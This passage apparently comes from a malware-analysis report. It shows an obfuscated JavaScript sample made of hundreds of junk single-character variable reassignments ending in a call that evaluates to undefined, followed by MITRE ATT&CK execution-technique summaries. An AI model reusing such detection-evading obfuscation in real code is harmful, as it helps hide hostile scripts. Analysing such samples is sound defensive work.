241	kwpfbabp = "n";
242	kwpfbabp = "l";
243	kwpfbabp = "X";
244	kwpfbabp = "p";
245	kwpfbabp = "p";
246	kwpfbabp = "k";
247	kwpfbabp = "e";
248	kwpfbabp = "P";
249	kwpfbabp = "L";
250	kwpfbabp = "D";
251	kwpfbabp = "L";
252	kwpfbabp = "R";
253	kwpfbabp = "k";
254	kwpfbabp = "R";
255	kwpfbabp = "u";
256	hgyouj = "d";
257	hgyouj = "v";
258	hgyouj = "o";
259	hgyouj = "f";
260	hgyouj = "a";
261	hgyouj = "j";
262	hgyouj = "v";
263	hgyouj = "n";
264	hgyouj = "z";
265	hgyouj = "N";
266	mwcwr = "J";
267	mwcwr = "C";
268	mwcwr = "t";
269	mwcwr = "P";
270	mwcwr = "f";
271	mwcwr = "y";
272	mwcwr = "G";
273	mwcwr = "D";
274	mwcwr = "u";
275	mwcwr = "G";
276	mwcwr = "z";
277	mwcwr = "J";
278	mwcwr = "c";
279	mwcwr = "H";
280	mwcwr = "J";
281	mwcwr = "v";
282	mwcwr = "K";
283	mwcwr = "s";
284	mwcwr = "u";
285	mwcwr = "J";
286	mwcwr = "C";
287	mwcwr = "Q";
288	mwcwr = "m";
289	mwcwr = "I";
290	mwcwr = "x";
291	mwcwr = "N";
292	mwcwr = "o";
293	mwcwr = "\\";
294	uxnqc = "v";
295	uxnqc = "f";
296	uxnqc = "j";
297	uxnqc = "H";
298	uxnqc = "P";
299	uxnqc = "E";
300	uxnqc = "W";
301	uxnqc = "x";
302	uxnqc = "v";
303	uxnqc = "W";
304	uxnqc = "S";
305	uxnqc = "z";
306	uxnqc = "T";
307	uxnqc = "S";
308	uxnqc = "O";
309	uxnqc = "Q";
310	uxnqc = "Z";
311	uxnqc = "G";
312	uxnqc = "C";
313	uxnqc = "H";
314	uxnqc = "y";
315	uxnqc = "Q";
316	uxnqc = "r";
317	uxnqc = "x";
318	uxnqc = "e";
319	uxnqc = "P";
320	uxnqc = "G";
321	uxnqc = "X";
322	uxnqc = "v";
323	uxnqc = "d";
324	uxnqc = "S";
325	uxnqc = "y";
326	uxnqc = "b";
327	uxnqc = "c";
328	uoujj = "H";
329	uoujj = "s";
330	uoujj = "A";
331	uoujj = "n";
332	uoujj = "F";
333	uoujj = "q";
334	uoujj = "N";
335	uoujj = "k";
336	uoujj = "w";
337	uoujj = "Q";
338	uoujj = "j";
339	uoujj = "U";
340	uoujj = "f";
341	uoujj = "g";
342	uoujj = "F";
343	uoujj = "Z";
344	uoujj = "K";
345	uoujj = "r";
346	uoujj = "o";
347	uoujj = "M";
348	uoujj = "m";
349	uoujj = "Z";
350	uoujj = "L";
351	uoujj = "J";
352	uoujj = "i";
353	uoujj = "v";
354	uoujj = "E";
355	uoujj = "L";
356	uoujj = "v";
357	frzrpbt = "O";
358	frzrpbt = "f";
359	frzrpbt = "y";
360	frzrpbt = "C";
361	frzrpbt = "U";
362	frzrpbt = "c";
363	frzrpbt = "s";
364	frzrpbt = ".";
365	twsfzupj = "H";
366	twsfzupj = "l";
367	twsfzupj = "z";
368	twsfzupj = "D";
369	twsfzupj = "D";
370	twsfzupj = "t";
371	twsfzupj = "N";
372	twsfzupj = "D";
373	twsfzupj = "c";
374	twsfzupj = "E";
375	twsfzupj = "k";
376	twsfzupj = "b";
377	twsfzupj = "g";
378	twsfzupj = "N";
379	twsfzupj = "I";
380	twsfzupj = "G";
381	twsfzupj = "s";
382	twsfzupj = "G";
383	twsfzupj = "h";
384	twsfzupj = "e";
385	twsfzupj = "z";
386	twsfzupj = "B";
387	twsfzupj = "z";
388	twsfzupj = "i";
389	leleenwx = "W";
390	leleenwx = "a";
391	leleenwx = "k";
392	leleenwx = "E";
393	leleenwx = "Z";
394	leleenwx = "&";
395	rbrrartvq = "y";
396	rbrrartvq = "Z";
397	rbrrartvq = "M";
398	rbrrartvq = "u";
399	rbrrartvq = "b";
400	rbrrartvq = "Y";
401	rbrrartvq = "M";
402	rbrrartvq = "j";
403	rbrrartvq = "R";
404	rbrrartvq = "E";
405	rbrrartvq = "u";
406	rbrrartvq = "W";
407	fjyszlk = "u";
408	fjyszlk = "w";
409	fjyszlk = "U";
410	fjyszlk = "v";
411	fjyszlk = "A";
412	fjyszlk = "T";
413	fjyszlk = "X";
414	fjyszlk = "H";
415	fjyszlk = "f";
416	fjyszlk = "L";
417	fjyszlk = "f";
418	fjyszlk = "v";
419	fjyszlk = "w";
420	fjyszlk = "h";
421	fjyszlk = "M";
422	fjyszlk = "K";
423	fjyszlk = "S";
424	fjyszlk = "M";
425	fjyszlk = "f";
426	fjyszlk = "Q";
427	fjyszlk = "p";
428	fjyszlk = "t";
429	fjyszlk = "p";
430	fjyszlk = "K";
431	fjyszlk = "U";
432	fjyszlk = "Q";
433	fjyszlk = "N";
434	fjyszlk = "O";
435	fjyszlk = "P";
436	fjyszlk = "R";
437	fjyszlk = "C";
438	fjyszlk = ":";
439	jfpbksv = "Z";
440	jfpbksv = "d";
441	jfpbksv = "q";
442	jfpbksv = "l";
443	jfpbksv = "G";
444	jfpbksv = "Q";
445	jfpbksv = "A";
446	jfpbksv = "F";
447	jfpbksv = "o";
448	jfpbksv = "m";
449	jfpbksv = "u";
450	jfpbksv = "S";
451	jfpbksv = "N";
452	jfpbksv = "q";
453	jfpbksv = "l";
454	jfpbksv = "Y";
455	jfpbksv = "O";
456	jfpbksv = "v";
457	jfpbksv = "m";
458	jfpbksv = "U";
459	jfpbksv = "b";
460	jfpbksv = "H";
461	jfpbksv = "L";
462	jfpbksv = "Y";
463	jfpbksv = "V";
464	jfpbksv = "M";
465	jfpbksv = "v";
466	jfpbksv = "I";
467	jfpbksv = "2";
468	mjlfmigq = "H";
469	mjlfmigq = "n";
470	mjlfmigq = "J";
471	mjlfmigq = "r";
472	jmsufwz = "u";
473	jmsufwz = "T";
474	jmsufwz = "r";
475	jmsufwz = "X";
476	jmsufwz = "z";
477	jmsufwz = "Z";
478	jmsufwz = "D";
479	jmsufwz = "R";
480	jmsufwz = "r";
481	jmsufwz = "h";
482	jmsufwz = "o";
483	jmsufwz = "e";
484	jmsufwz = "X";
485	jmsufwz = "g";
486	jmsufwz = "O";
487	jmsufwz = "L";
488	iwrydeed = "Z";
489	iwrydeed = "I";
490	iwrydeed = "f";
491	iwrydeed = "j";
492	iwrydeed = "i";
493	iwrydeed = "J";
494	iwrydeed = "X";
495	iwrydeed = "Z";
496	iwrydeed = "c";
497	iwrydeed = "d";
498	iwrydeed = "D";
499	iwrydeed = "N";
500	iwrydeed = "z";
501	iwrydeed = "o";
502	iwrydeed = "y";
503	iwrydeed = "a";
504	iwrydeed = "w";
505	iwrydeed = "M";
506	iwrydeed = "q";
507	iwrydeed = "a";
508	iwrydeed = "v";
509	iwrydeed = "h";
510	iwrydeed = "5";
511	riajhva = "G";
512	riajhva = "V";
513	riajhva = "b";
514	riajhva = "Q";
515	pkygsszur = "i";
516	pkygsszur = "h";
517	pkygsszur = "b";
518	dxntl = "v";
519	dxntl = "Q";
520	dxntl = "b";
521	dxntl = "n";
522	dxntl = "q";
523	dxntl = "Q";
524	dxntl = "Y";
525	dxntl = "t";
526	dxntl = "B";
527	dxntl = "n";
528	dxntl = "U";
529	dxntl = "V";
530	dxntl = "D";
531	dxntl = "o";
532	dxntl = "z";
533	dxntl = "D";
534	dxntl = "O";
535	dxntl = "H";
536	dxntl = "E";
537	dxntl = "V";
538	dxntl = "I";
539	dxntl = "v";
540	dxntl = "C";
541	vbcnjeju = "t";
542	vbcnjeju = "d";
543	vbcnjeju = "g";
544	vbcnjeju = "N";
545	vbcnjeju = "Y";
546	vbcnjeju = "h";
547	vbcnjeju = "m";
548	vbcnjeju = "i";
549	vbcnjeju = "h";
550	vbcnjeju = "B";
551	vbcnjeju = "x";
552	vbcnjeju = "K";
553	vbcnjeju = "I";
554	vbcnjeju = "j";
555	vbcnjeju = "a";
556	vbcnjeju = "V";
557	vbcnjeju = "n";
558	vbcnjeju = "J";
559	vbcnjeju = "r";
560	vbcnjeju = "R";
561	vbcnjeju = "A";
562	vbcnjeju = "d";
563	vbcnjeju = "W";
564	vbcnjeju = "o";
565	vbcnjeju = "V";
566	vbcnjeju = "r";
567	vbcnjeju = "B";
568	vbcnjeju = "x";
569	vbcnjeju = "f";
570	vbcnjeju = "j";
571	vbcnjeju = "M";
572	vbcnjeju = "6";
573	kiboulc = "v";
574	kiboulc = "j";
575	kiboulc = "l";
576	kiboulc = "d";
577	kiboulc = "B";
578	kiboulc = "X";
579	kiboulc = "r";
580	kiboulc = "V";
581	kiboulc = "b";
582	kiboulc = "R";
583	kiboulc = "V";
584	kiboulc = "H";
585	kiboulc = "l";
586	kiboulc = "g";
587	kiboulc = "Y";
588	kiboulc = "y";
589	kiboulc = "q";
590	kiboulc = "P";
591	kiboulc = "X";
592	kiboulc = "E";
593	kiboulc = "D";
594	kiboulc = "q";
595	kiboulc = "o";
596	lijrsdby = "m";
597	lijrsdby = "r";
598	lijrsdby = "q";
599	lijrsdby = "U";
600	lijrsdby = "b";
601	lijrsdby = "d";
602	lijrsdby = "I";
603	lijrsdby = "R";
604	lijrsdby = "e";
605	lijrsdby = "m";
606	lijrsdby = "J";
607	lijrsdby = "Q";
608	lijrsdby = "z";
609	lijrsdby = "F";
610	lijrsdby = "m";
611	lijrsdby = "U";
612	baeumm = "m";
613	baeumm = "m";
614	baeumm = "Q";
615	baeumm = "B";
616	baeumm = "D";
617	baeumm = "Q";
618	baeumm = "Z";
619	baeumm = "d";
620	qoynbqir = "a";
621	qoynbqir = "O";
622	qoynbqir = "l";
623	qoynbqir = "B";
624	qoynbqir = "w";
625	qoynbqir = "T";
626	qoynbqir = "T";
627	qoynbqir = "A";
628	qoynbqir = "x";
629	qoynbqir = "u";
630	qoynbqir = "D";
631	qoynbqir = "t";
632	qoynbqir = "l";
633	qoynbqir = "V";
634	qoynbqir = "b";
635	qoynbqir = "l";
636	qoynbqir = "u";
637	qoynbqir = "a";
638	qoynbqir = "F";
639	qoynbqir = "o";
640	qoynbqir = "e";
641	qoynbqir = "m";
642	qoynbqir = "i";
643	qoynbqir = "q";
644	qoynbqir = "o";
645	qoynbqir = "e";
646	iquiiimqy = "j";
647	iquiiimqy = "j";
648	iquiiimqy = "x";
649	xvmjj = "T";
650	xvmjj = "J";
651	xvmjj = "A";
652	xvmjj = "r";
653	xvmjj = "S";
654	xvmjj = "D";
655	xvmjj = "y";
656	xvmjj = "U";
657	xvmjj = "I";
658	xvmjj = "B";
659	xvmjj = "t";
660	xvmjj = "@";
661	gabbmk = "T";
662	gabbmk = "R";
663	gabbmk = "P";
664	gabbmk = "Y";
665	gabbmk = "p";
666	gabbmk = "D";
667	gabbmk = "j";
668	gabbmk = "t";
669	gabbmk = "S";
670	gabbmk = "N";
671	gabbmk = "E";
672	gabbmk = "V";
673	gabbmk = "K";
674	sgyva = "d";
675	sgyva = "b";
676	sgyva = "J";
677	sgyva = "E";
678	sgyva = "o";
679	sgyva = "m";
680	sgyva = "A";
681	sgyva = "A";
682	sgyva = "Y";
683	sgyva = "W";
684	sgyva = "x";
685	sgyva = "m";
686	sgyva = "N";
687	sgyva = "N";
688	sgyva = "A";
689	sgyva = "L";
690	sgyva = "E";
691	sgyva = "f";
692	sgyva = "y";
693	sgyva = "b";
694	sgyva = "g";
695	sgyva = "E";
696	sgyva = "t";
697	sgyva = "a";
698	sgyva = "Y";
699	sgyva = "N";
700	sgyva = "z";
701	sgyva = "m";
702	sgyva = "I";
703	sgyva = "L";
704	sgyva = "W";
705	sgyva = "r";
706	sgyva = "Z";
707	sgyva = "T";
708	sgyva = "n";
709	sgyva = "G";
710	sgyva = "t";
711	sgyva = "r";
712	sgyva = "W";
713	sgyva = "E";
714	tghetto = "r";
715	tghetto = "r";
716	tghetto = "W";
717	tghetto = "t";
718	tghetto = "H";
719	tghetto = "V";
720	tghetto = "y";
721	tghetto = "F";
722	tghetto = "n";
723	syjfp = "u";
724	syjfp = "e";
725	syjfp = "A";
726	syjfp = "A";
727	syjfp = "W";
728	syjfp = "V";
729	syjfp = "c";
730	syjfp = "T";
731	syjfp = "D";
732	syjfp = "X";
733	syjfp = "c";
734	syjfp = "v";
735	syjfp = "j";
736	syjfp = "P";
737	syjfp = "u";
738	syjfp = "H";
739	syjfp = "S";
740	syjfp = "j";
741	syjfp = "u";
742	syjfp = "t";
743	syjfp = "G";
744	syjfp = "o";
745	syjfp = "I";
746	syjfp = "d";
747	syjfp = "r";
748	syjfp = "D";
749	syjfp = "i";
750	syjfp = "Y";
751	syjfp = "T";
752	syjfp = "d";
753	syjfp = "W";
754	syjfp = "r";
755	syjfp = "L";
756	syjfp = "i";
757	syjfp = "S";
758	syjfp = "A";
759	syjfp = "y";
760	syjfp = " ";
761	oczyxs = "G";
762	oczyxs = "r";
763	oczyxs = "t";
764	oczyxs = "E";
765	oczyxs = "F";
766	oczyxs = "o";
767	oczyxs = "e";
768	oczyxs = "Q";
769	oczyxs = "J";
770	oczyxs = "Y";
771	oczyxs = "U";
772	oczyxs = "J";
773	oczyxs = "O";
774	oczyxs = "r";
775	oczyxs = "o";
776	oczyxs = "u";
777	oczyxs = "W";
778	oczyxs = "l";
779	oczyxs = "V";
780	oczyxs = "G";
781	oczyxs = "Q";
782	oczyxs = "G";
783	oczyxs = "k";
784	oczyxs = "A";
785	oczyxs = "d";
786	oczyxs = "H";
787	oczyxs = "v";
788	oczyxs = "V";
789	oczyxs = "L";
790	oczyxs = "D";
791	oczyxs = "m";
792	oczyxs = "L";
793	oczyxs = "U";
794	oczyxs = "-";
795	ktcrdyhuh = "S";
796	ktcrdyhuh = "C";
797	ktcrdyhuh = "X";
798	ktcrdyhuh = "q";
799	ktcrdyhuh = "p";
800	ktcrdyhuh = "M";
801	ktcrdyhuh = "Q";
802	ktcrdyhuh = "B";
803	ktcrdyhuh = "C";
804	ktcrdyhuh = "k";
805	ktcrdyhuh = "o";
806	ktcrdyhuh = "D";
807	ktcrdyhuh = "Z";
808	ktcrdyhuh = "P";
809	ktcrdyhuh = "Z";
810	ktcrdyhuh = "O";
811	ktcrdyhuh = "a";
812	ktcrdyhuh = "B";
813	ktcrdyhuh = "g";
814	ktcrdyhuh = "i";
815	ktcrdyhuh = "V";
816	ktcrdyhuh = "z";
817	ktcrdyhuh = "a";
818	ktcrdyhuh = "L";
819	ktcrdyhuh = "V";
820	ktcrdyhuh = "k";
821	ktcrdyhuh = "R";
822	ktcrdyhuh = "l";
823	ktcrdyhuh = "j";
824	ktcrdyhuh = "m";
825	ktcrdyhuh = "r";
826	ktcrdyhuh = "o";
827	ktcrdyhuh = "x";
828	ktcrdyhuh = "l";
829	ktcrdyhuh = "o";
830	ktcrdyhuh = "o";
831	ktcrdyhuh = "w";
832	ktcrdyhuh = "f";
833	yfebaegi = "s";
834	yfebaegi = "Y";
835	yfebaegi = "m";
836	yfebaegi = "m";
837	yfebaegi = "x";
838	yfebaegi = "M";
839	yfebaegi = "R";
840	yfebaegi = "N";
841	yfebaegi = "a";
842	yfebaegi = "p";
843	yfebaegi = "M";
844	yfebaegi = "U";
845	yfebaegi = "v";
846	yfebaegi = "H";
847	yfebaegi = "e";
848	yfebaegi = "O";
849	yfebaegi = "Y";
850	yfebaegi = "m";
851	yfebaegi = "N";
852	yfebaegi = "G";
853	yfebaegi = "p";
854	yfebaegi = "U";
855	yfebaegi = "g";
856	yfebaegi = "v";
857	yfebaegi = "a";
858	yfebaegi = "n";
859	yfebaegi = "L";
860	yfebaegi = "R";
861	yfebaegi = "0";
862	dyyxrfi = "i";
863	dyyxrfi = "G";
864	dyyxrfi = "C";
865	dyyxrfi = "Y";
866	dyyxrfi = "s";
867	dyyxrfi = "W";
868	dyyxrfi = "b";
869	dyyxrfi = "p";
870	dyyxrfi = "d";
871	dyyxrfi = "f";
872	dyyxrfi = "q";
873	dyyxrfi = "I";
874	dyyxrfi = "t";
875	dyyxrfi = "M";
876	dyyxrfi = "O";
877	dyyxrfi = "B";
878	dyyxrfi = "J";
879	dyyxrfi = "y";
880	dyyxrfi = "A";
881	dyyxrfi = "q";
882	dyyxrfi = "j";
883	dyyxrfi = "G";
884	dyyxrfi = "9";
885	jxjdxxyp = "u";
886	jxjdxxyp = "T";
887	jxjdxxyp = "x";
888	jxjdxxyp = "o";
889	jxjdxxyp = "Z";
890	jxjdxxyp = "e";
891	jxjdxxyp = "X";
892	jxjdxxyp = "a";
893	jxjdxxyp = "A";
894	jxjdxxyp = "x";
895	jxjdxxyp = "j";
896	jxjdxxyp = "i";
897	jxjdxxyp = "X";
898	jxjdxxyp = "i";
899	jxjdxxyp = "H";
900	jxjdxxyp = "l";
901	jxjdxxyp = "F";
902	jxjdxxyp = "H";
903	jxjdxxyp = "S";
904	jxjdxxyp = "n";
905	jxjdxxyp = "u";
906	jxjdxxyp = "y";
907	jxjdxxyp = "l";
908	jxjdxxyp = "J";
909	jxjdxxyp = "U";
910	jxjdxxyp = "o";
911	jxjdxxyp = "G";
912	jxjdxxyp = "X";
913	jxjdxxyp = "m";
914	jxjdxxyp = "e";
915	jxjdxxyp = "M";
916	jxjdxxyp = "Z";
917	jxjdxxyp = "b";
918	jxjdxxyp = "g";
919	jxjdxxyp = "y";
920	jxjdxxyp = "J";
921	jxjdxxyp = "z";
922	jxjdxxyp = "V";
923	jxjdxxyp = "a";
924	jxjdxxyp = "d";
925	jxjdxxyp = "s";
926	minqc = "b";
927	minqc = "1";
928	ixqpg = "E";
929	ixqpg = "Z";
930	ixqpg = "W";
931	ixqpg = "y";
932	ixqpg = "n";
933	ixqpg = "v";
934	ixqpg = "M";
935	ixqpg = "D";
936	ixqpg = "u";
937	ixqpg = "Q";
938	ixqpg = "i";
939	ixqpg = "a";
940	ixqpg = "w";
941	ixqpg = "s";
942	ixqpg = "F";
943	ixqpg = "S";
944	ixqpg = "o";
945	ixqpg = "S";
946	ixqpg = "D";
947	ixqpg = "z";
948	ixqpg = "F";
949	twsgrpdr = "V";
950	twsgrpdr = "y";
951	twsgrpdr = "a";
952	twsgrpdr = "m";
953	twsgrpdr = "z";
954	twsgrpdr = "e";
955	twsgrpdr = "n";
956	twsgrpdr = "M";
957	twsgrpdr = "C";
958	twsgrpdr = "s";
959	twsgrpdr = "n";
960	twsgrpdr = "N";
961	twsgrpdr = "I";
962	twsgrpdr = "t";
963	twsgrpdr = "L";
964	twsgrpdr = "Q";
965	twsgrpdr = "V";
966	twsgrpdr = "P";
967	twsgrpdr = "o";
968	twsgrpdr = "U";
969	twsgrpdr = "Q";
970	twsgrpdr = "x";
971	twsgrpdr = "Q";
972	twsgrpdr = "z";
973	twsgrpdr = "e";
974	twsgrpdr = "t";
975	twsgrpdr = "N";
976	twsgrpdr = "k";
977	twsgrpdr = "M";
978	twsgrpdr = "D";
979	twsgrpdr = "A";
980	twsgrpdr = "a";
981	twsgrpdr = "Y";
982	twsgrpdr = "t";
983	twsgrpdr = "m";
984	eixti = "Q";
985	eixti = "t";
986	eixti = "h";
987	eixti = "R";
988	eixti = "R";
989	eixti = "o";
990	eixti = "q";
991	eixti = "T";
992	eixti = "W";
993	eixti = "M";
994	eixti = "e";
995	eixti = "i";
996	eixti = "D";
997	eixti = "n";
998	eixti = "D";
999	eixti = "p";
1000	eixti = "H";
1001	eixti = "z";
1002	eixti = "u";
1003	eixti = "F";
1004	eixti = "c";
1005	eixti = "u";
1006	eixti = "S";
1007	eixti = "y";
1008	eixti = "i";
1009	eixti = "X";
1010	eixti = "t";
1011	eixti = "Q";
1012	eixti = "k";
1013	eixti = "B";
1014	eixti = "j";
1015	eixti = "p";
1016	eixti = "h";
1017	eixti = "j";
1018	eixti = "x";
1019	eixti = "c";
1020	eixti = "O";
1021	eixti = "j";
1022	eixti = "P";
1023	eixti = "V";
1024	eixti = "K";
1025	eixti = "V";
1026	eixti = "/";
1027	otlvy = "n";
1028	otlvy = "K";
1029	otlvy = "C";
1030	otlvy = "w";
1031	mvqqo = "j";
1032	mvqqo = "Y";
1033	mvqqo = "i";
1034	mvqqo = "T";
1035	mvqqo = "W";
1036	mvqqo = "N";
1037	mvqqo = "x";
1038	mvqqo = "z";
1039	mvqqo = "n";
1040	mvqqo = "f";
1041	mvqqo = "c";
1042	mvqqo = "d";
1043	mvqqo = "e";
1044	mvqqo = "h";
1045	mvqqo = "X";
1046	mvqqo = "Z";
1047	mvqqo = "K";
1048	mvqqo = "D";
1049	mvqqo = "D";
1050	mvqqo = "J";
1051	mvqqo = "S";
1052	mvqqo = "K";
1053	mvqqo = "e";
1054	mvqqo = "K";
1055	mvqqo = "A";
1056	mvqqo = "p";
1057	mvqqo = "X";
1058	mvqqo = "C";
1059	mvqqo = "I";
1060	wlwvefwg = "N";
1061	wlwvefwg = "n";
1062	wlwvefwg = "L";
1063	wlwvefwg = "o";
1064	wlwvefwg = "G";
1065	wlwvefwg = "m";
1066	wlwvefwg = "S";
1067	wlwvefwg = "H";
1068	wlwvefwg = "d";
1069	wlwvefwg = "q";
1070	wlwvefwg = "D";
1071	wlwvefwg = "L";
1072	wlwvefwg = "I";
1073	wlwvefwg = "C";
1074	wlwvefwg = "v";
1075	wlwvefwg = "E";
1076	wlwvefwg = "S";
1077	wlwvefwg = "u";
1078	wlwvefwg = "F";
1079	wlwvefwg = "w";
1080	wlwvefwg = "3";
1081	zafenb = "J";
1082	zafenb = "m";
1083	zafenb = "q";
1084	zafenb = "w";
1085	zafenb = "r";
1086	zafenb = "F";
1087	zafenb = "I";
1088	zafenb = "N";
1089	zafenb = "i";
1090	zafenb = "Z";
1091	zafenb = "c";
1092	zafenb = "A";
1093	zafenb = "Q";
1094	zafenb = "K";
1095	zafenb = "K";
1096	zafenb = "S";
1097	zafenb = "S";
1098	zafenb = "K";
1099	zafenb = "\"";
1100	ubqmbpw = "y";
1101	ubqmbpw = "A";
1102	ubqmbpw = "a";
1103	ubqmbpw = "M";
1104	ubqmbpw = "F";
1105	ubqmbpw = "C";
1106	ubqmbpw = "b";
1107	ubqmbpw = "i";
1108	ubqmbpw = "s";
1109	ubqmbpw = "a";
1110	ubqmbpw = "o";
1111	ubqmbpw = "B";
1112	ubqmbpw = "E";
1113	ubqmbpw = "k";
1114	ubqmbpw = "i";
1115	ubqmbpw = "u";
1116	ubqmbpw = "W";
1117	ubqmbpw = "l";
1118	ubqmbpw = "r";
1119	ubqmbpw = "t";
1120	ubqmbpw = "s";
1121	ubqmbpw = "E";
1122	ubqmbpw = "c";
1123	ubqmbpw = "Y";
1124	vavnifv = "E";
1125	vavnifv = "e";
1126	vavnifv = "j";
1127	vavnifv = "X";
1128	vavnifv = "N";
1129	vavnifv = "e";
1130	vavnifv = "h";
1131	vavnifv = "Q";
1132	vavnifv = "G";
1133	vavnifv = "l";
1134	vavnifv = "M";
1135	vavnifv = "z";
1136	vavnifv = "Y";
1137	vavnifv = "w";
1138	vavnifv = "Q";
1139	vavnifv = "F";
1140	vavnifv = "A";
1141	vavnifv = "h";
1142	vavnifv = "w";
1143	vavnifv = "o";
1144	vavnifv = "r";
1145	vavnifv = "R";
1146	kdwmrj = "t";
1147	kdwmrj = "W";
1148	kdwmrj = "O";
1149	kdwmrj = "V";
1150	kdwmrj = "k";
1151	kdwmrj = "E";
1152	kdwmrj = "L";
1153	kdwmrj = "N";
1154	kdwmrj = "b";
1155	kdwmrj = "h";
1156	kdwmrj = "H";
1157	kdwmrj = "l";
1158	kdwmrj = "D";
1159	kdwmrj = "y";
1160	kdwmrj = "N";
1161	kdwmrj = "P";
1162	kdwmrj = "i";
1163	kdwmrj = "H";
1164	kdwmrj = "X";
1165	kdwmrj = "N";
1166	kdwmrj = "a";
1167	kdwmrj = "l";
1168	kdwmrj = "m";
1169	kdwmrj = "Y";
1170	kdwmrj = "E";
1171	kdwmrj = "C";
1172	kdwmrj = "j";
1173	kdwmrj = "C";
1174	kdwmrj = "F";
1175	kdwmrj = "P";
1176	jntyttq = "v";
1177	jntyttq = "e";
1178	jntyttq = "z";
1179	jntyttq = "l";
1180	jntyttq = "Z";
1181	jntyttq = "c";
1182	jntyttq = "a";
1183	bwcsmgef = "L";
1184	bwcsmgef = "D";
1185	bwcsmgef = "C";
1186	bwcsmgef = "Y";
1187	bwcsmgef = "k";
1188	bwcsmgef = "G";
1189	bwcsmgef = "Q";
1190	bwcsmgef = "m";
1191	bwcsmgef = "T";
1192	bwcsmgef = "V";
1193	bwcsmgef = "n";
1194	bwcsmgef = "O";
1195	bwcsmgef = "I";
1196	bwcsmgef = "f";
1197	bwcsmgef = "y";
1198	bwcsmgef = "K";
1199	bwcsmgef = "A";
1200	bwcsmgef = "j";
1201	bwcsmgef = "P";
1202	bwcsmgef = "a";
1203	bwcsmgef = "V";
1204	bwcsmgef = "K";
1205	bwcsmgef = "S";
1206	bwcsmgef = "O";
1207	bwcsmgef = "d";
1208	bwcsmgef = "x";
1209	bwcsmgef = "Q";
1210	bwcsmgef = "D";
1211	bwcsmgef = "a";
1212	bwcsmgef = "Y";
1213	bwcsmgef = "y";
1214	bwcsmgef = "O";
1215	bwcsmgef = "W";
1216	bwcsmgef = "d";
1217	bwcsmgef = "w";
1218	bwcsmgef = "f";
1219	bwcsmgef = "h";
1220	ruecgtyyj = "%";
1221	rtvoox = "s";
1222	rtvoox = "z";
1223	rtvoox = "V";
1224	rtvoox = "T";
1225	rtvoox = "l";
1226	rtvoox = "S";
1227	rtvoox = "w";
1228	rtvoox = "Y";
1229	rtvoox = "d";
1230	rtvoox = "c";
1231	rtvoox = "f";
1232	rtvoox = "P";
1233	rtvoox = "O";
1234	rtvoox = "z";
1235	rtvoox = "y";
1236	rtvoox = "U";
1237	rtvoox = "O";
1238	rtvoox = "D";
1239	rtvoox = "W";
1240	rtvoox = "c";
1241	rtvoox = "d";
1242	rtvoox = "d";
1243	rtvoox = "i";
1244	rtvoox = "T";
1245	rtvoox = "O";
1246	fzhjrcim = "F";
1247	fzhjrcim = "l";
1248	fzhjrcim = "d";
1249	fzhjrcim = "x";
1250	fzhjrcim = "Y";
1251	fzhjrcim = "a";
1252	fzhjrcim = "n";
1253	fzhjrcim = "e";
1254	fzhjrcim = "N";
1255	fzhjrcim = "c";
1256	fzhjrcim = "A";
1257	fzhjrcim = "m";
1258	fzhjrcim = "F";
1259	fzhjrcim = "s";
1260	fzhjrcim = "V";
1261	fzhjrcim = "e";
1262	fzhjrcim = "Z";
1263	fzhjrcim = "L";
1264	fzhjrcim = "p";
1265	fzhjrcim = "g";
1266	qeabq = "P";
1267	qeabq = "N";
1268	qeabq = "X";
1269	qeabq = "Q";
1270	qeabq = "x";
1271	qeabq = "O";
1272	qeabq = "O";
1273	qeabq = "c";
1274	qeabq = "w";
1275	qeabq = "F";
1276	qeabq = "i";
1277	qeabq = "k";
1278	qeabq = "N";
1279	qeabq = "S";
1280	qeabq = "k";
1281	qeabq = "X";
1282	qeabq = "_";
1283	oclafrxe = "h";
1284	oclafrxe = "E";
1285	oclafrxe = "v";
1286	oclafrxe = "I";
1287	oclafrxe = "a";
1288	oclafrxe = "j";
1289	oclafrxe = "y";
1290	oclafrxe = "D";
1291	oclafrxe = "c";
1292	oclafrxe = "s";
1293	oclafrxe = "p";
1294	oclafrxe = "j";
1295	oclafrxe = "F";
1296	oclafrxe = "p";
1297	oclafrxe = "u";
1298	oclafrxe = "x";
1299	oclafrxe = "T";
1300	oclafrxe = "X";
1301	oclafrxe = "C";
1302	oclafrxe = "H";
1303	zergb ( );	zergb() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

